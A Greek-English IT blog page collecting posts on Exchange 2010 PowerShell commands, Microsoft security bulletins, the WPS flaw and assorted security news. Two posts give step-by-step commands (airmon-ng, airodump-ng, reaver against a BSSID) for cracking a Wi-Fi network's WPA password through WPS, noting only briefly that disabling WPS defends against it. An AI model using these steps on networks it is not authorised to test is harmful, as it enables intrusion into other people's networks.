SBS & όχι μόνο , Ioannis Zontos

Exchange Server 2010 PowerShell Commands

TOP 10: Exchange Server 2010 PowerShell Commands

Στο παρόν post θα βρείτε εντολές που θα βοηθήσουν την διαχείριση του Mcrosoft Exchange2010 , είναι 10 βασικές εντολές που μας βοηθούν , σε άλλο post ίσως προσθέσουμε μερικές ακόμα

1. Check Database Availability Group Replication Status
Το status απο ολα τα  copies of Exchange 2010 databases. Επισης βλέπουμε το   content index state.
Get-MailboxDatabaseCopyStatus

2. Fix a Failed Content Index
Οταν εχουμε failed  content index .

Update-MailboxDatabaseCopy -Identity [id] –CatalogOnly

3. Move a Mailbox in a Batch
keep track of mailbox moves both those which are in progress and to clear them afterward.
New-MoveRequest -Identity [id] –BatchName

4. Check Move Progress
Ολα τα  move requests και τα statistics.
Get-MoveRequest | Get-MoveRequestStatistics

4. Clear a Move Request
In order to move a mailbox after a move request has completed or failed, you need to remove the request which can be done in bulk, individually, or by a batch name.
Get-MoveRequest | Remove-MoveRequest
or to remove a batch of requests already labeled...
Get-MoveRequest -BatchName [name] | Remove-MoveRequest

5. Determine Unified Messaging Enablement of a User
Αν ενας user ειναι enabled για Unified Messaging,

Get-Mailbox | fl UME*

6. View Queues of all Hub Transport Servers
Το  queue status για ολους τους  HT servers

Get-TransportServer | Get-Queue

7. Determine Active Calls on a UM Server
see if a server is in use before performing a UM service reset or see the status of a test call.
Get-UmServer | Get-UMActiveCalls

8. Determine Exchange Server 2010 Service Status
Βλεπουμε το status μετα απο reboot.
Get-Service | Where {$_.DisplayName -Like "Microsoft Exchange*"}

9. Get Mailbox Sizes and Sort by Size
Get-Mailbox | Get-MailboxStatistics | where {$_.ObjectClass –eq “Mailbox”} | Sort-Object TotalItemSize –Descending | ft @{label=”User”;expression={$_.DisplayName}},@{label=”Total Size (MB)”;expression={$_.TotalItemSize.Value.ToMB()}},@{label=”Items”;expression={$_.ItemCount}},@{label=”Storage Limit”;expression={$_.StorageLimitStatus}} –auto

10. Check Autodiscover Settings
Get-WebServicesVirtualDirectory | fl InternalUrl,ExternalUrl
Get-EcpVirtualDirectory | fl InternalUrl,ExternalUrl
Get-OwaVirtualDirectory | fl InternalUrl,ExternalUrl
Get-OabVirtualDirectory | fl InternalUrl,ExternalUrl
Get-ClientAccessServer | fl AutoDiscoverServiceInternalUri

The Risks of Remote Desktop

It’s convenient to use the Remote Desktop Protocol (RDP) for accessing systems over the Internet, especially in server environments. However, exposing RDP to direct connections is risky. This setup not only gives remote attackers the opportunity to guess logon credentials, but also relies on the lack of a remotely-exploitable vulnerability in Microsoft’s RDP implementation.

Microsoft’s Security Bulletin MS12-020, released in March 2012, described critical vulnerability in Microsoft’s RDP implementation on most Windows platforms (CVE-2012-0002). This bug could allow a remote unauthenticated attacker to run arbitrary code on the affected system by sending “a sequence of specially crafted RDP packets.”

Microsoft provides a detailed perspective on the CVE-2012-0002 vulnerability in its Security Research & Defense blog, stating that even though it has no knowledge of the corresponding exploits, it believes that “an exploit for code execution will be developed in the next 30 days.”

I suspect such an exploit will appear sooner than 30 days, because of the relatively fast techniques available to attackers for reverse-engineering a patch to understand the nature of the vulnerability they need to target. Such an exploit would provide an attacker with access to targeted server environments and would enable automated opportunistic break-ins into servers and workstations that expose RDP to the Internet. Such an exploit would also be effective as part of a network worm for automated propagation across vulnerable systems.

My recommendations for handling the CVE-2012-0002 RDP vulnerability and future risks related to RDP:

• Understand what systems in your environment expose RDP to the Internet. Create a plan to apply the MS12-020 as soon as practical.
• Change the port on which your systems listen for RDP connection to avoid using the default TCP port 3389. Automated scanners and worms will be less likely to locate your RDP listeners on high-non-standard ports.
• Consider configuring your RDP settings to use Enable Network Level Authentication (NLA) on Windows Vista and later platforms, as suggested by Microsoft.
• Remember to have strong authentication for systems utilizing RDP to deal with remote password-guessing attacks.

Patch IE To Avoid Drive-by Downloads

Severity: High

Summary:

· This vulnerability affects: All current versions of Internet Explorer, running on all current versions of Windows (to varying extents)

· How an attacker exploits it: By enticing one of your users to visit a malicious web page

· Impact: Various; in the worst case an attacker can execute code on your user's computer, gaining complete control of it

· What to do: Deploy the appropriate Internet Explorer patches immediately, or let Windows Automatic Update do it for you

Exposure:

In a security bulletin released today as part of Patch Day, Microsoft describes four new vulnerabilities in Internet Explorer (IE) 9.0 and earlier versions, running on all current versions of Windows. Microsoft rates the aggregate severity of these new flaws as Critical.

The four vulnerabilities differ technically, but two of them share the same general scope and impact. These two issues involve memory corruption flaws related to the way IE mishandles various HTML objects. If an attacker can lure one of your users to a web page containing malicious web code, he could exploit either of these vulnerabilities to execute code on that user's computer by inheriting that user's privileges. Typically, Windows users have local administrative privileges, in which case the attacker gains complete control of your users' computers.

This update also fixes two less severe information disclosure vulnerabilities, which you can read more about in Microsoft's bulletin.

Today's attackers commonly hijack legitimate web pages and booby-trap them with malicious code. Often, even recognizable and authentic websites get hijacked in this way, and are forced to deliver drive-by download attacks. To avoid these types of attacks, we recommend that you install Microsoft's IE updates as quickly as you can.

Solution Path:

These patches fix serious issues. You should download, test, and deploy the appropriate IE patches immediately, or let Windows Automatic Update do it for you.

This link takes you directly to the “Affected and Non-Affected Software” section of Microsoft's IE bulletin, where you can find links for the various IE updates.

Status:

Microsoft has released patches to fix these vulnerabilities.

References:

· MS Security Bulletin MS12-010

Microsoft Office Updates Correct Sharepoint and Visio Flaws

Summary:

· These vulnerabilities affect: SharePoint, SharePoint Foundation, and Visio Viewer 2010, which are all part of Microsoft's Office suite of products

· How an attacker exploits them: Multiple vectors of attack, including luring your users to a malicious web site or link, and enticing them to open malicious Visio files

· Impact: In the worst case, an attacker can execute code, potentially gaining complete control of your computer

· What to do: Install the appropriate SharePoint and Visio patches as soon as you can, or let Windows Update do it for you.

Exposure:

Yesterday, Microsoft released two Office-related  security bulletins describing eight vulnerabilities found in SharePoint, SharePoint Foundation, and Visio Viewer 2010 -- all part of Microsoft's Office suite of products. Microsoft rates both bulletins as Important. We summarize the bulletins below:

· MS12-011: Three SharePoint XSS Vulnerabilities

SharePoint and SharePoint Foundation are Microsoft's web and document collaboration and management platforms. They both suffer from three  Cross-Site Scripting vulnerabilities (XSS) that could allow an attacker to elevate his privileges. By enticing one of your users to visit a malicious web page or into clicking a specially crafted link, an attacker could exploit any of these flaws to gain that user's privilege on your SharePoint server. This means the attacker could view or change all the documents which that user could. These flaws only affect the latest 2010 version of SharePoint.

Microsoft rating: Important.

· MS12-015: Five Visio Viewer Memory Corruption Vulnerabilities

Microsoft Visio is a popular diagramming program, which many network administrators use to create network diagrams.  Visio Viewer is a free program that anyone can use to view those diagrams. Visio Viewer suffers from five code execution vulnerabilities, all involving the way it handles specially crafted Visio documents. Though the flaws differ technically, they share the same scope and impact. If an attacker can entice one of your users into downloading and opening a maliciously crafted Visio document, he can exploit any of these vulnerabilities to execute code on that user’s computer, inheriting that user’s level of privileges. If your user has local administrative privileges, the attacker gains full control of the user’s machine. These flaws only affect Visio Viewer 2010, not the commercial Visio product.

Microsoft rating: Important

Solution Path

Microsoft has released SharePoint and SharePoint Foundation patches that correct these vulnerabilities. You should download, test, and deploy the appropriate SharePoint patches as soon as you can. If you choose, you can also let Windows Update automatically download and install these updates for you, though we recommend you test server patches before deploying them to production environments.

The links below take you directly to the “Affected and Non-Affected Software” section for each bulletin, where you will find links for the various updates:

· MS12-011

MS12-015

Pst capture for Exchange2010 or Exchange Online

Ανακοινώθηκε ότι είναι διαθέσιμο το εργαλείο pst capture σαν δωρεάν download.

Ένα εργαλείο που θα μας βοηθήσει με την διαχείριση των pst files

To PST Capture σας βοηθάει να αναζητήσετε στο δίκτυό σας , να εντοπίσετε και στη συνέχεια να μπορέσετε να κάνετε εισαγωγή τα pst αρχείων στο περιβάλλον σας, είτε αυτό είναι Exchange Online ή Exchange Server 2010 .Όλα πολύ εύκολα, θα συμβάλει στη μείωση του κινδύνου, ενώ η αύξηση της παραγωγικότητας για τους χρήστες αλλά και για τους διαχειριστές θα είναι σημαντικη με την εισαγωγή pst files  σε Exchange Online ή Exchange Server 2010 . Απευθείας στα γραμματοκιβώτια ή σε data files  των χρηστών.

Για να το κατεβάσετε μπορείτε να πάτε ΕΔΩ

Για αναλυτικό documentation μπορετέ να πάτε ΕΔΩ

Μπορείτε να δείτε και ένα βίντεο εδώ

How to Crack a Wi-Fi Network’s WPA Password with Reaver

Σε αυτό το άρθρο επανέρχομαι με περισσότερες πληροφορίες για το πώς μπορούμε να βρούμε τον κωδικό και να αποκτήσουμε access σε ένα wireless lan με το reaver

Ξεκινάμε με ένα live cd BackTrack

Για να βρουμε το Download Live DVD from BackTrack's download page και φτιάχνουμε ένα DVD.(την ίδια δουλειά μπορούμε να κάνουμε με ένα usb >=2GB )

Αφού έχουμε ξεκινήσει το backtrack δίνουμε

Startx για να ξεκινήσει γραφικό περιβάλλον

Στην συνέχεια

1. Click Applications > Internet > Wicd Network Manager

2. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time.

Εφόσον εχουμε internet acces δίνουμε

Apt-get update

Apt-get upgrade

Apt-get install reaver

Iwconfig για να δουμε το wireless interface

Τώρα βάζουμε την wireless card σε monitor mode

Airmon-ng start wlan0

Δημιουργείτε ένα νέο interface mon0

Ξεκινάμε το scan για να βρούμε όλα τα ασυρματα δίκτυα γύρω μας

Airodump-ng wlan0

Μετά ξεκινάμε το reaver

reaver -i moninterface -b bssid –vv

me moninterface to mon0 και BSSID αυτό που μας ενδιαφέρει πχ

reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

όταν τελειώσει το reaver θα δείτε κάτι τέτοιο

Για να προστατευτούμε από το reaver θα πρέπει να απενεργοποιήσουμε το WPS

Για να προστατευτούμε από το reaver θα πρέπει να απενεργοποιήσουμε το WPS

Φυσικά δεν δουλεύει σε όλα ταAccess points και θέλει για να παίξει πολύ ισχυρό σήμα

Περισσότερα για το reaver εδώ Sean Gallagher's excellent post on Ars Technica.

Automated SQLi Attack Hijacks Over 1 Million Websites

Τα τελευταία χρόνια, πολλές ιστοσελίδες βρίσκονται σε ομηρία, και παγιδευμένες με κακόβουλο κώδικα.

Εάν επισκεφθείτε μια τέτοια ιστοσελίδα με unpatched σύστημα, ο υπολογιστής σας μπορεί αυτόματα και σιωπηλά κατεβάσει και να εγκαταστήσει κάποιο malware. Τον τελευταίο καιρό, οι εισβολείς έχουν καταφέρει καιι  έχουν χτυπήσει χιλιάδες ιστοσελίδες με τη μία. Τι φταίει για αυτές τις μαζικές επιθέσεις και πως γίνονται ; Τις περισσότερες φορές με Αυτοματοποιημένη SQL Injection (SQLi).

Σύμφωνα με τους ερευνητές στο SANS, ένα αυτοματοποιημένο συστημα εισαγωγής SQL (SQLi) που ονομάστηκε Lilupophilupop έχει μολύνει πάνω από ένα εκατομμύριο ιστοσελίδες Αυτή η τελευταία περίοδος των αυτοματοποιημένων επιθέσεων SQLi εχει στόχους web server της Microsoft (IIS servers με ASP.NET, και MSSQL backend), και εμφανίστηκε πρώτα στις αρχές Δεκεμβρίου. Τότε, η επίθεση είχε επηρεάσει λιγους server . Ωστόσο, πρόσφατη έρευνα SANS »δείχνει ότι έχει εξαπλωθεί σε μόλις πάνω από ένα εκατομμύριο ιστοσελίδες σήμερα.

Αν θέλετε να μάθετε περισσότερα για αυτήν την επίθεση, μπορείτε να βρείτε λεπτομέρειες σχετικά  SANS’ early December post.

Ένα μικρό βίντεο για μια απλή επίθεση με sql injection στην συνέχεια

Print Me if You Date–Hacking MFP Printers

Στο φετινό Chaos Communications Congress (28C3) ο Ang Cui παρουσίασε πως με reverse-engineered σε printers της HP και κατά την διαδικασία τουfirmware update μπορεί να αποκτήσει πρόσβαση και να εκτεθεί όλο δίκτυο μας

Στην παρουσίαση του , στο πρώτο μέρος δείχνει πως στέλνοντας ένα αρχείο που περιέχει malicious version of the OS του printer κατάφερε τον εκτυπωτή να στέλνει τα έγγραφα που είχε για εκτύπωση σε μια ip στο internet

Στο δεύτερο μέρος , παλι με το ιδιο τρόπο έκανε τον εκτυπωτή να scannarei το εσωτερικό δίκτυο για vulnerable PCs, αφού τα βρει, να υποβίβαση την ασφάλεια του pc να το μετατρέψει σε proxy και να του δώσει access από το firewall.

Στο βίντεο που ακολουθεί μπορείτε να δείτε ολη την παρουσίαση

Δείτε επίσης

http://events.ccc.de/congress/2011/Fahrplan/events/4780.en.html

http://events.ccc.de/congress/2011/Fahrplan/events/4871.en.html

Reaver brute force attack Tool, Cracking WPA in 10 Hours

Σε προηγούμενο άρθρο είχαμε αναφερθεί στα προβλήματα ασφάλειας από το WPS , σε αυτό επανερχόμαστε και δίνουμε πληροφορίες για το πώς με ένα εργαλείο και με την τεχνική brute force μπορούμε να παρακάμψουμε την ασφάλεια σε ασύρματο δίκτυο και να αποκτήσουμε πρόσβαση

Το εργαλείο που θα χρησιμοποιήσουμε είναι το Reaver (Reaver is a WPA attack tool developed by Tactical Network Solutions that exploits a protocol design flaw in WiFi Protected Setup (WPS). This vulnerability exposes a side-channel attack against Wi-Fi Protected Access (WPA) versions 1 and 2 allowing the extraction of the Pre-Shared Key (PSK) used to secure the network. With a well-chosen PSK, the WPA and WPA2 security protocols are assumed to be secure by a majority of the 802.11 security community)

Η χρήση του είναι πολύ εύκολη  ,(target BSSID and the monitor mode interface ) η σύνταξη της εντολής είναι

# reaver -i mon0 -b 00:01:02:03:04:05

Υπάρχει μόνο σε open source version και μπορείτε να βρείτε των κώδικα από

Get open source version of Reaver at Google Code

Σε δόκιμες που έγιναν σε διαφορετικά Access Points ο χρόνος για να αποκτήσουμε πρόσβαση ήταν από 3 ώρες μέχρι και 10 ώρες

Οι δοκιμές δικες σας

Microsoft Releases Out-of-Cycle .NET Framework Security Update

• These vulnerabilities affect: All versions of Microsoft’s .NET Framework
• How an attacker exploits it: Multiple ways, including sending specially crafted web requests or enticing users to click maliciously crafted links
• Impact: Various. In the worst case, an attacker can log in to your web application as another user, without having that user’s password
• What to do: Install the proper .NET Framework update immediately, or let Windows Update do it for you.

Exposure:

Last week — following the holiday weekend — Microsoft released a blog post and Security Advisory about a new, publicly disclosed ASP.NET Denial of Service (DoS) vulnerability.

A few days later, they released an out-of-cycle Security Bulletin fixing that .NET Framework vulnerability, and three others. Whether you manage a public web server with ASP.NET applications, or host such .NET applications internally, we highly recommend you download, test, and deploy the appropriate .NET Framework updates as soon as possible.

Microsoft’s out-of-cycle .NET Framework security bulletin describes four vulnerabilities, including the publicly disclosed DoS vulnerability mentioned above. The vulnerabilities have different scopes and impacts. I detail two of the more relevant issues below, in order of severity:

• ASP.NET Forms Authentication Bypass Flaw – ASP.NET doesn’t properly authenticate specially crafted usernames. If an attacker has (or can create) an account on your ASP.NET application, and knows the username of a victim, the attacker can send a specially crafted authentication request that gives him access to the victim’s account without needing a valid password. However, your ASP.NET web site or application is only vulnerable to this when you’ve enabled “Forms Authentication.”

• ASP.NET HashTable Collision DoS Vulnerability – Without going into great technical detail, ASP.NET suffers from a flaw involving the way it hashes specially crafted requests. In short, by sending specially crafted ASP.NET requests to you web application, an attacker can fill ASP.NET’s hash table with colliding hashes, which can greatly degrade the performance of your ASP.NET application or web site. If you are technically inclined, and would like more details, we recommend reading n.run’s advisory concerning this flaw.

Microsoft’s bulletin also fixes a less severe privilege escalation vulnerability, as well as an insecure URL redirect flaw. For more details on these two flaws, see the “Vulnerability Information” section of Microsoft’s bulletin.

Solution Path:

Microsoft has released .NET Framework updates to fix these vulnerabilitie. If you have web servers or clients that use the .NET Framework, you should download, test and deploy the corresponding updates immediately.

Due to the exhaustive and varied nature of .NET Framework installations (1.1, 2.0, 3.5.x, and 4.0 running on many Windows platforms), we will not include links to all the updates here. We recommend you visit the “Affected and Non-Affected Software” section of Microsoft’s bulletin for those details.

If possible, we also recommend you use Windows Update to automatically download and install the appropriate .NET Framework on client computers. That said, you may still want to keep production servers on a manual update process, to avoid upgrade-related problems that could affect business-critical machines.

For All Users:

This attack typically leverages normal looking HTTP requests, which you must allow for users to reach your web application. Therefore, Microsoft’s patches are your primary recourse.

Status:

Microsoft has released updates to correct this vulnerability.

References:

• Microsoft Security Bulletin MS11-100
• Microsoft Security Advisory
• Microsoft Security Blog Post
• Technical Write-up on ASP.NET Hash Table DoS Flaw

Wi-Fi Protected Setup (WPS) Undermines Wireless Security

Over the years, we've had to deal with vulnerabilities and weaknesses in wireless security protocols, such as the deprecation of the WEP protocol due to design flaws.  Now, a standard that was designed to make wireless security easier, actually makes it less secure.

For those of you who haven't heard of Wi-Fi Protected Setup (WPS) — which frankly included me until recently — it is a standard created by the Wi-Fi Alliance to make it easier for home users to configure security settings on their access points, making the task less foreboding for the non-technical.

In concept, I think this is a great idea. I know many average home users that run open access points simply because they find the tech lingo (WPA2, PSK, AES, TKIP, etc.) too overwhelming, or because they can't be bothered with strong passwords. Making wireless security easier for the average Joe is noble goal. However, in practice WPS will make your WAP less secure.

According to research by Stefan Viehböck (also discovered independantly by another researcher as well), technical flaws in WPS make it embarrassingly simple to brute force a WPS PIN. Without going into too much technical detail, the WPS protocol responds to failed authentication attempts in a way that will both tell you if the first four digits of the PIN are correct, as well as disclose the eighth digit of the PIN. This severely reduces the number of guesses necessary to learn a WPA PIN. Rather than providing the 100,000,000 possible combinations (10⁸⁾ that an eight digit pin should offer, this flaw allows attackers to find the PIN with only 11,000 guesses (10⁴ + 10³). Computers can go through 11,000 combinations in no time. Furthermore, many devices that use WPS apparently don't lockout failed authentication attempts. If an attacker knows your wireless router's WPS PIN, he can use it to retrieve the router's wireless network password. So if you use WPS, you should expect  any attacker within range of your Wi-Fi signal can access your network.

The good news is that WPS is not an industry-wide standard. Only some wireless routers and access points use it. If you'd like more details on this issue, US-CERT has released a coordinated alert about it, including some of the router brands that are affected. This includes some well know consumer brands like Belkin, Netgear, D-Link, and others. Since this is a protocol level design flaw, there is no fix. If you use a wireless router that leverages WPS, you should stop using WPS.

Security Stories You May Have Missed Over the Holidays

If your office gets quiet around the week leading up to Christmas and New Years, as many seem to, you may have missed a few interesting security stories during this lull. Let me catch you up in one fell swoop.

Below, I quickly highlight a menagerie of interesting security stories, which you may have missed over the past two weeks:

· Unpatched Vulnerability in Windows Win32k.sys Component - A "researcher" calling himself webDEViL found a memory corruption flaw in Windows' win32k.sys component. By enticing you to a web site containing malicious code, an attacker could exploit this flaw to execute malicious code on your computer, with your privileges. exploit the flaw via Safari till now…

· Siemens Accused of Security Cover-up - Stuxnet malware - the possibility of digital SCADA and ICS attacks. A security researcher accuses Siemens of lying about a security flaw in one of their products. In short, Billy Rios (the researcher) is unhappy that a Siemens PR person claimed there are no open issues regarding authentication bypass bugs in Siemens products. As a result, Rios decided to publicly disclose just such an issue.

· The US Can Now Launch Cyberwars - Cyberwar is at hand - A recent change to the U.S. National Defense Authorization Act supports this notion. It states that the Department of Defense can conduct offensive cyberspace operations with the President's approval !!!

· Free iPad 2 Offer Lures Gaga Fans - Many users following Lady Gaga on Twitter and Facebook almost had their credentials stolen by following links about a free iPad 2 promotion.

· Anonymous Still Up to No Good - During the holiday, Anonymous breached Stratfor, a "global intelligence" company in Texas. They reportedly stole 200GB of email, and a client list of 4000, including credit cards info. In the last week, Anonymous has also threatened to attack Sony and Nintendo due to their support of SOPA. As I predicted for 2012, I expect to continue to see these sort of Anonymous-related hacktivism incidents throughout the year.

New O365 SBS 2011 Essentials Integration Module

Στις 19 /12/2011 έχει κυκλοφορήσει το Office 365 Integration Module for Windows Small Business Server 2011 Essentials (OIM).

Η πελάτες που έχουν Microsoft Small Business Essentials μπορούν να το κατεβάσουν από το Microsoft Download Center.

Αυτό το Module επιτρέπει στους πελάτες που διαθέτουν

Αυτό το Module επιτρέπει στους πελάτες που διαθέτουν Small Business Server 2011 Essentials να έχουν τις βασικές τους υπηρεσίες όπως Domain services File services ,etc on-premise και πολύ εύκολα να έχουν integrate στο Office 365 τα email τους και ότι άλλες υπηρεσίες διαθέτουν στο cloud και όλα αυτά με το μικρότερο διαχειριστικό κόστος

Το συγκεκριμένο integration module θα μας βοηθήσει να έχουμε κάπου κεντρικά την διαχείριση των user και του server management , και επιπλέον βοηθά την μικρή επιχείρηση να διαχειρίζεται τους χρηστές τοπικά και στο cloud από την ιδια console ,

Σε συνεργασία με το Windows 7 Professional Pack Add-in for SBS Essentials και τον Windows Phone Connector η Microsoft έχει δώσει όλα τα εργαλεία που χρειάζεται η μικρή εταιρεία για να μπορεί να διαχειριστεί το IT infrastructure , τα email και το collaboration το , mobility και τα client computing

Περισσότερες πληροφορίες για τον SBS Essentials θα βρείτε στο webcast here.

Attackers Leverage Zero Day Reader Flaw in the Wild; Patch Coming

According to ComputerWorld and Symantec, Attackers are currently leveraging a zero day vulnerability in Adobe Reader in targeted attacks against telecommunications, manufacturing, computer hardware, and chemical companies, as well as defence sector organisations like Lockheed Martin.

The attacks may have started as early as the beginning of November, and arrive as a targeted phishing email with a malicious PDF attachment. If you open said attachment, your computer gets infected with information stealing malware.

Earlier this weak, Adobe confirmed this zero day flaw in a Security Advisory. The vulnerability affects all current versions of Reader and Acrobat running on any platform. Though they have not released a fix for the flaw yet, they plan to sometime next week.

Until then, we highly recommend that you inform your users to be very careful handling PDF files that come from outside your organization, whether from a trusted source or not. If you have one of our security appliances, you can also use our proxy policies to strip all PDF content if you like. That said, doing so blocks both legitimate and malicious PDF files. Also, be sure to keep both your gateway and client level antivirus software up to date, as it likely has signatures to block known variants of this attack.

A fix for the interoperability issues between Exchange 2007 and 2010 EMC and IE9 is now available

Το πρόβλημα που υπάρχει στην Exchange Management Console (EMC) στον Microsoft Exchange 2007-2010 με τον Internet Explorer 9 is installed πλέον μπορεί να λυθεί με hot fix που δεν είναι ακόμα διαθέσιμο για public download και αυτό γιατί θα είναι ενσωματωμένο σε επόμενο roll up . Το πρόβλημα εμφανιζόταν με το έξης μήνυμα

Exchange 2007 or 2010 EMC might fail to close with "You must close all dialog boxes before you can close Exchange Management Console"

Για να λυθεί το πρόβλημα

Θα πρέπει πρώτα να εγκαταστήσουμε την released version of IE9 στο μηχάνημα που έχουμε τον Microsoft Exchange 2007-2010 . Στην συνέχεια θα πρέπει να εγκαταστήσουμε

MS11-081: Cumulative Security Update for Internet Explorer: October 11, 2011

Αυτό το βρίσκουμε από το Windows Update or – αν θέλουμε να το κατεβάσουμε και να το έχουμε στο local network το πακέτο το βρίσκουμε here.

Please note that the packages for client and server OSes might be different, depending on what you need. The installation of this package is REQUIRED for proper operation of the EMC hotfix.

Μπορούμε να καλέσουμε το support της Microsoft και να ζητήσουμε το hotfix , αν ζητήσουμε το hotfix θα πρέπει να ζητήσουμε το KB 2624899.(το όποιο δεν είναι άρθρο που είναι διαθέσιμο publicly )

Πως βρίσκω  call support?

Ανάλογα με την Περιοχή που είμαστε θα πάμε here.

Γιατί αυτό το hot fix δεν είναι διαθέσιμο για public download? (από το Exchange Team Blog η απάντηση )

It's planned that this fix will be rolled into a version of Internet Explorer or a fix that will be released at a later time. Due to the amount of feedback we've received about this issue, we wanted to give you a way to resolve this problem right now, if you are impacted by it. Individual hotfix packages such as this one do not go through as extensive testing as our roll-up fixes and therefore we want to have a way to reach out to customers who use it in case there's a problem that is identified with it at a later time.

Finally, I would like to thank the Internet Explorer team for working with us on this interoperability issue and producing this hotfix.